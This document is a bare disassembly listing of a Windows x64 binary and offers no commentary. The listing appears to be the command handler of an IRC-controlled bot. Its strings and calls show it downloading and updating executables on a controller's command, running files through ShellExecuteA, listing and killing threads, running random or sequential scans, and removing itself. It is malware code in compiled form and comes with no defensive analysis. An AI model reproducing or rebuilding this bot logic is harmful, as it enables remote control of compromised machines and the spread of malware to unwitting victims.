mov byte [0x140098814], al
jmp 0x1400042ca
cmp byte [rbp + 0xec5], r13b
je 0x140005579
mov rcx, qword [rbp - 0x48]
call fcn.140006b64
mov ecx, eax
mov ebx, eax
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x30]
mov rdx, rax
call fcn.14004f010
mov al, byte [rbp + 0xec1]
neg al
sbb ecx, ecx
and ecx, 0xffff0100
add ecx, 0xffff
and ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x30]
mov rdx, rax
call fcn.14004f010
lea r8, [rsp + 0x6c]
mov dword [rsp + 0x6c], reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [rbp - 0x3c]
mov al, byte [rbp + 0xec1]
neg al
sbb edx, edx
and edx, 0xffff0100
add edx, 0xffff
and ecx, edx
mov dword [rbp - 0x3c], ecx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x30]
mov rdx, rax
call fcn.14004f010
cmp byte [rbp + 0xed2], r13b
je 0x140005630
mov al, byte [rbp + 0xec1]
lea rcx, [rbp - 0x30]
neg al
mov edx, gethostbyname
sbb ebx, ebx
neg ebx
add ebx, 2
call fcn.14000b1f4
mov rcx, rax
mov edx, 1
test rcx, rcx
je 0x140005620
mov byte [rcx], 0x78
mov edx, gethostbyname
lea rcx, [rbp - 0x30]
call fcn.14000b1f4
mov edx, 1
mov rcx, rax
add r13b, dl
movsx eax, r13b
cmp eax, ebx
jl 0x1400055f7
mov r15d, dword [rsp + 0x58]
xor r13d, r13d
mov dword [rbp + 0x114], edx
jmp 0x140005637
mov dword [rbp + 0x114], r13d
mov r8, qword [rbp + 0x290]
lea rcx, [rbp - 0x20]
mov ebx, 0x80
mov qword [rbp + 0xe0], rdi
mov edx, ebx
mov dword [rbp + 0x10c], esi
mov dword [rbp + 0x110], r12d
call fcn.140001dc0
mov eax, r15d
mov r8, qword [rbp + rax*8 + 0x2b0]
test r8, r8
jne 0x1400056a0
test r14, r14
je 0x140005682
cmp byte [r14], 0x23
jne 0x140005682
mov r8, r14
jmp 0x1400056a0
lea rdx, [0x14007f66a]
lea rcx, [0x140095534]
call fcn.14004f6f0
test eax, eax
je 0x1400056ae
lea r8, [0x140095534]
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.140001dc0
jmp 0x1400056b2
mov byte [rbp + 0x60], r13b
movzx ecx, word [rbp + 0xe8]
lea rax, str.Random
cmp dword [rbp + 0x114], r13d
lea r9, str.Sequential
mov r8d, dword [rbp + 0x104]
lea rdx, [0x14007f690]
cmovne r9, rax
mov eax, dword [rbp + 0x100]
mov dword [rsp + 0x40], eax
mov eax, dword [rbp + 0xf0]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp + 0xec]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x30]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0xbe0]
mov qword [rsp + 0x20], rax
call fcn.140001e18
xor r8d, r8d
lea rcx, [rbp + 0xbe0]
lea edx, [r8 + 2]
call fcn.140007f24
mov dword [rbp + 0xf4], eax
lea r9, [rbp - 0x30]
lea rax, [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [0x140001578]
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [rbp + 0xf4]
imul rdx, rcx, 0x248
lea rcx, [0x140000000]
mov qword [rdx + rcx + 0x98c50], rax
test rax, rax
jne 0x1400057c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x14007f700]
lea rcx, [rbp + 0xbe0]
mov r8d, eax
call fcn.140001e18
test r12d, r12d
jne 0x1400042ca
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
jmp 0x1400042ca
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x118], r13d
je 0x1400057b8
jmp 0x140005791
mov ebx, 0xff
lea rcx, [rbp - 0x30]
mov r8d, ebx
mov rdx, r14
call fcn.14004f010
mov r8d, ebx
lea rcx, [rbp + 0xd0]
mov rdx, r13
call fcn.14004f010
mov rcx, qword [rbp - 0x60]
call fcn.1400527bc
mov rdx, qword [rbp + 0x290]
lea r8d, [rbx - 0x80]
lea rcx, [rbp + 0x1d0]
mov dword [rbp + 0x258], eax
mov qword [rbp + 0x250], rdi
call fcn.14004f010
lea r8, [rbp - 0x30]
lea rdx, str.download___s_
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
mov r8, rdi
lea rcx, [rbp + 0xbe0]
mov edx, 3
call fcn.140007f24
mov dword [rbp + 0x25c], eax
lea r9, [rbp - 0x30]
lea rax, [rsp + 0x68]
mov dword [rbp + 0x264], r12d
xor ebx, ebx
mov qword [rsp + 0x28], rax
lea r8, [0x140001fac]
mov dword [rsp + 0x20], ebx
xor edx, edx
mov dword [rbp + 0x260], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x25c]
imul r8, rcx, 0x248
lea rcx, [0x140000000]
mov qword [r8 + rcx + 0x98c50], rax
test r12d, r12d
jne 0x1400058bc
mov r8, r14
lea rdx, str.downloading__s..._r_n
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
mov ebx, 1
jmp 0x1400058e7
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x26c], ebx
jne 0x1400058dc
jmp 0x140005d40
mov rdx, r13
lea rcx, str.null
call fcn.14004f6f0
xor r15d, r15d
test eax, eax
je 0x1400042ca
xor edx, edx
lea rcx, [rbp + 0x380]
mov r8d, 0x820
call fcn.14007c4e0
lea r9, [rbp + 0xbc8]
lea r8, [0x1400e50d0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0xd0]
call fcn.140001e18
mov r8d, 0xff
lea rcx, [rbp - 0x30]
mov rdx, r14
call fcn.14004f010
mov rdx, qword [rbp + 0x290]
lea r8d, [r15 + 0x7f]
lea rcx, [rbp + 0x1d0]
mov dword [rbp + 0x258], r15d
mov qword [rbp + 0x250], rdi
call fcn.14004f010
lea r8, [rbp - 0x30]
lea rdx, str.update___s_
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
mov r8, rdi
lea edx, [r15 + 4]
lea rcx, [rbp + 0xbe0]
call fcn.140007f24
mov dword [rbp + 0x25c], eax
lea ebx, [r15 + 1]
lea rax, [rsp + 0x68]
mov dword [rbp + 0x260], ebx
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x30]
lea r8, [0x140001fac]
mov dword [rsp + 0x20], r15d
xor edx, edx
mov dword [rbp + 0x264], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x25c]
lea rdx, str.downloading_update_from__s..._r_n
imul r8, rcx, 0x248
lea rcx, [0x140000000]
mov qword [r8 + rcx + 0x98c50], rax
mov r8, r14
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
test r12d, r12d
jne 0x140005a3d
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
jmp 0x140005a3d
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x26c], ebx
jne 0x140005a32
jmp 0x140005d40
mov rcx, qword [rsp + 0x78]
mov r8d, 0x7f
mov rdx, r14
call fcn.14004f010
jmp 0x140005d40
lea rdx, [0x14007f000]
xor ecx, ecx
call fcn.140055410
lea rdx, [0x14007f000]
xor ecx, ecx
call fcn.140055410
lea rdx, str.winsp3
lea rcx, [0x1400dfef0]
call fcn.1400547c0
lea rdx, str..exe
lea rcx, [0x1400dfef0]
call fcn.140054720
jmp 0x140005d40
xor ebx, ebx
mov dword [rsp + 0x28], 5
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov r8, r14
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
test r12d, r12d
jne 0x140005d40
mov rdx, qword [rbp + 0x290]
mov r9d, esi
mov rcx, rdi
test rax, rax
je 0x140005af4
lea r8, str.File_opened.
jmp 0x140005368
lea r8, str.Couldnt_open_file.
jmp 0x140005368
mov rdx, r14
lea rcx, [0x14007f3f8]
call fcn.14004f6f0
xor r14d, r14d
test eax, eax
jne 0x140005b3e
call fcn.140008180
lea rcx, [rbp + 0xbe0]
test eax, eax
jle 0x140005b32
lea rdx, str.threads:_Stopped:__d_thread_s_.
jmp 0x140005789
lea rdx, str.threads:_No_active_threads_found.
jmp 0x14000546c
inc r15d
lea rbx, [rbp + 0x280]
lea rbx, [rbx + r15*8]
cmp qword [rbx], r14
je 0x1400042ca
mov rcx, qword [rbx]
call fcn.1400527bc
mov ecx, eax
call fcn.1400080bc
mov r8, qword [rbx]
lea rcx, str.threads:_Failed_to_kill_thread:__s.
test eax, eax
lea rdx, str.threads:_Killed_thread:__s.
cmove rdx, rcx
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
test r12d, r12d
jne 0x140005ba5
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
inc r15d
add rbx, 8
cmp r15d, 0x40
jb 0x140005b4c
jmp 0x1400042ca
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x140005d40
mov rdx, r14
mov rcx, rax
call fcn.14000af90
test rax, rax
je 0x140005d40
mov rdx, rax
mov rcx, rdi
call fcn.140006210
jmp 0x140005d40
mov r8, r14
lea rdx, str.PART__s_r_n
jmp 0x140005ea9
mov r9d, r15d
lea rdx, str.JOIN__s__s_r_n
mov r8, r14
mov rcx, rdi
mov r9, qword [rbp + r9*8 + 0x290]
call fcn.14000629c
jmp 0x140005d40
mov r8, r14
jmp 0x140005ea2
mov rdx, qword [rbp + 0x290]
mov r9d, r12d
mov eax, r15d
mov r8d, esi
mov rcx, qword [rbp + rax*8 + 0x288]
lea rax, str.Scan
mov qword [rsp + 0x38], rcx
mov rcx, rdi
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x28], rax
lea rax, str._.12Scan._
mov qword [rsp + 0x20], rax
call fcn.14000830c
jmp 0x1400042ca
mov r8, qword [rbp + 0x290]
lea rcx, [rbp - 0x28]
mov edx, 0x80
call fcn.140001dc0
mov eax, r15d
mov qword [rbp - 0x30], rdi
mov dword [rbp + 0x60], esi
mov dword [rbp + 0x64], r12d
mov rcx, qword [rbp + rax*8 + 0x288]
test rcx, rcx
je 0x140005cb4
lea rdx, [0x14007f2c4]
call fcn.14004f6f0
mov ecx, r14d
test eax, eax
sete cl
mov dword [rbp + 0x5c], ecx
jmp 0x140005cb8
mov dword [rbp + 0x5c], r14d
lea rdx, str.threads:_list_threads.
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
xor r8d, r8d
lea rcx, [rbp + 0xbe0]
lea edx, [r8 + 5]
call fcn.140007f24
mov dword [rbp + 0x58], eax
lea r9, [rbp - 0x30]
lea rax, [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [0x140007e70]
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x58]
imul rdx, rcx, 0x248
lea rcx, [0x140000000]
mov qword [rdx + rcx + 0x98c50], rax
test rax, rax
jne 0x140005d56
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.threads:_failed_to_start_list_thread__error:___d_.
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
mov eax, dword [rbp + 0x1608]
jmp 0x1400042cf
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x68], r14d
je 0x140005d4b
jmp 0x140005d40
lea r8, str.null
jmp 0x14000535b
mov eax, r15d
mov rdx, qword [rbp + rax*8 + 0x288]
test rdx, rdx
jne 0x140005d8b
lea rdx, str.QUIT_:Client_exiting_r_n
mov rcx, rdi
call fcn.140006210
jmp 0x140005db3
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x140005db3
mov rcx, rax
call fcn.14000af90
test rax, rax
je 0x140005db3
mov r8, rax
lea rdx, str.QUIT_:_s_r_n
mov rcx, rdi
call fcn.140006330
mov eax, 0xfffffffe
jmp 0x1400042cf
lea rdx, str.QUIT_:Client_exiting
mov rcx, rdi
call fcn.140006210
or eax, 0xffffffff
jmp 0x1400042cf
lea rdx, str.QUIT_:Reconnecting..
mov rcx, rdi
call fcn.140006210
xor eax, eax
jmp 0x1400042cf
lea rdx, str._.null._:__Version_2.1.2_
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
jmp 0x1400051ec
lea rbx, [rbp - 0x40]
xor r15d, r15d
mov r14, qword [rbx]
mov rdx, qword [rbp + 0x280]
mov rcx, r14
call fcn.14004f6f0
test eax, eax
jne 0x140005e5a
lea r8, [rbp + 0xbb0]
mov byte [r14], r15b
lea rdx, str.User__s_logged_out_r_n
lea rcx, [rbp + 0xbe0]
call fcn.140001e18
test r12d, r12d
jne 0x140005e5a
mov rdx, qword [rbp + 0x290]
lea r8, [rbp + 0xbe0]
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
add rbx, 8
mov eax, 1
sub qword [rsp + 0x70], rax
jne 0x140005e09
jmp 0x140005d40
mov rdx, qword [rbp + 0x288]
lea rcx, [0x14007f0e8]
call fcn.14004f6f0
test eax, eax
jne 0x140005f32
jmp 0x140005d40
lea rcx, [rbp + 0xbc8]
call fcn.1400063c4
lea r8, [rbp + 0xbc8]
lea rdx, str.NICK__s_r_n
mov rcx, rdi
call fcn.140006330
jmp 0x140005d40
mov r9, r15
lea rdx, str.JOIN__s__s_r_n
mov r8, r13
mov rcx, rdi
call fcn.14000629c
mov r8, qword [rbp - 0x78]
lea rdx, str.USERHOST__s_r_n
mov rcx, rdi
call fcn.140006330
mov r8, qword [rbp - 0x78]
lea rdx, str.MODE__s_i_r_n
mov rcx, rdi
call fcn.140006330
mov eax, 1
mov dword [0x1400e50c0], eax
jmp 0x1400042cf
test r12d, r12d
jne 0x140005f1f
mov rdx, qword [rbp + 0x290]
lea r8, str.Removing_bot..
mov r9d, esi
mov rcx, rdi
call fcn.140005f3c
call fcn.1400083dc
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call fcn.14004fc08
int3
xor ecx, ecx
call fcn.14004fc08
int3